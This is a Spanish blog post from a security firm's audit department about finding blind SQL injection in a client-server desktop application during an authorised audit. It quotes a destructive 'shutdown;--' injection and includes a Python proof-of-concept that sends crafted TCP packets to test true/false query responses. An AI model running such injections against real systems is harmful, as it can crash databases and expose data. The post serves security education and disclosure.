Español | English
rss facebook linkedin Twitter

No solo de Webs vive un “Blind SQL Injection”

Antes de nada, aunque seguro que por todos es bien conocido… ¿Qué es un Blind SQL Injection?

http://es.wikipedia.org/wiki/Blind_SQL_injection

“Ataque a ciegas de inyección SQL, en inglés, Blind SQL injection es una técnica de ataque que utiliza inyección SQL cuando una página web por motivos de seguridad no muestra mensajes de error de la base de datos al no haber un resultado correcto mostrándose siempre el mismo contenido (solo habrá respuesta si el resultado es correcto).”

http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection

“Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. …“

Como se puede apreciar en las anteriores definiciones, este ataque es comúnmente asociado a aplicaciones Webs, y después de tantos años debería tenerse muy presente en cualquier desarrollo Web, o no:

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



¿Pero que ocurre en las aplicaciones de escritorio? Técnicamente, nada evita que también afecte a este tipo de software, al fin y al cabo, muchas de estas aplicaciones también realizan consultas a bases de datos y contienen entradas de datos.

Y después de este preámbulo… Hace algún tiempo realizamos una auditoría a una aplicación cliente-servidor, uno de los fallos detectados fue un Blind SQL Injection. Para entrar un poco en materia os cuento a grandes rasgos como funcionaba la aplicación:

· Para iniciar sesión, la autenticación se realizaba contra un servidor remoto en un puerto X.

· Una vez dentro del aplicativo, este obtenía los datos desde el mismo servidor remoto pero en un puerto diferente.

· La comunicación en ambos casos era parcialmente cifrada. Y remarco parcialmente porque armados con un “sniffer” se observaba claramente que aunque la mayoría de los datos se intercambiaban de manera cifrada, sorprendentemente las consultas SQL aparecían en claro.

Como auditores curiosos que somos, la primera idea que nos vino a la mente fue modificar esa consulta a ver que ocurría, pero al permanecer todo el tráfico cifrado solo veíamos caracteres extraños y la aplicación, ya poco intuitiva de por si, tampoco experimentó ningún cambio significativo. La tentación fue ser expeditivos y escribir shutdown;-- a ver que ocurría. Y así fue, previo permiso con el interlocutor del proyecto por supuesto. Evidentemente, tiramos la base de datos, y nos quedamos sin aplicación. A pesar de las evidencias, el cliente o el administrador o el responsable de la aplicación negó los hechos y asocio la caída o otros sucesos paranormales argumentando que eso que le comentábamos era imposible.

De modo que, nos decidimos a obtener algún campo de la base de datos que hiciera imposible negar la evidencia. Después de varios intentos infructuosos inyectando UNIONs y demás con fin de observar datos en la propia aplicación, se nos ocurrió intentar lo que comúnmente hacemos en aplicaciones Web en estos casos, un Blind SQL injection.

En el análisis previo para realizar el Blind SQL nos surgieron las siguientes evidencias:

· El puerto de datos estaba abierto para cualquiera y la autenticación previa no se tenía presente en ningún caso.

· El cifrado era el mismo conexión tras conexión. De modo que, entre sucesivas consultas los paquetes de datos aunque cifrados eran los mismos para una inyección SQL positiva y negativa.

Armados con estas evidencias, solo quedaba modificar el habitual script de Blind SQL injection por otro que utilizara conexiones TCP en lugar de peticiones HTTP y obtener datos aleatorios de la base de datos. El video que hicimos para la presentación con las letras apareciendo poco a poco y mostrando varios datos de la BBDD fue todo un éxito. Aquí os dejo el código en python que nos sirvió para confirmar lo expuesto en al análisis inicial anterior:

#! /usr/bin/env python

import struct,os,sys

import time

from select import select

from socket import *

import string

srv_port = *

srv_ip = "*.*.*.*"

paquetes = [

"W1W1W1\xe9\x01\x00\x00\x00\x00\x00\x00CUSTOMSQL1Select field1, Field2, sum(Field3) / 100 as field4, sum(field5) / 100 as field6, sum(Field7) / 100 as field8, sum(field9) / 100 as earnsvaladj from table1.[dbo].[field10] where field1 = 'STRING1' and type <> 'I' and Type <> 'S' and Field2 between '19871031' and '20081031' and 1=1 group by field1, Field2, Field11 ",


"W1W1W1\xe9\x01\x00\x00\x00\x00\x00\x00CUSTOMSQL1Select field1, Field2, sum(Field3) / 100 as field4, sum(field5) / 100 as field6, sum(Field7) / 100 as field8, sum(field9) / 100 as earnsvaladj from table1.[dbo].[field10] where field1 = 'STRING1' and type <> 'I' and Type <> 'S' and Field2 between '19871031' and '20081031' and 1=2 group by field1, Field2, Field11 "

]

recibido_positivo = '\x57\x31\x5A\x31\x5A...’

recibido_negativo = 'W1Z1Z14\x00\x00\x00\x19…'

s = socket( )

s.connect((srv_ip,srv_port))

for q in paquetes:

print "Sending query...\n"

s.send(q)

l = s.recv(4096)

if l == recibido_negativo:

print "\tReceived response: False\n"

elif l == recibido_positivo:

print "\tReceived response: True\n"

else:

print "Unknown?\nn"

Una de las recomendaciones que hicimos al cliente, a parte de evidentemente solucionar la inyección SQL, fue cifrar todo el paquete de datos. Una vez corregidas las vulnerabilidades, en la revisión posterior verificamos que efectivamente en ese momento todo el paquete de datos se transmitía de forma cifrada lo que dificultaba en gran medida inyectar sentencias SQL a gusto del atacante.

Pero aún así, ejecutando de nuevo el anterior script sin cambio alguno, el Blind SQL injection seguía ahí. Suponemos que por temas de compatibilidad la parte servidora seguía aceptando el formato de datos anterior y lo de solucionar la inyección SQL quedo en saco roto.

Javier Mendez,

Depto. Auditoría, S21sec


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login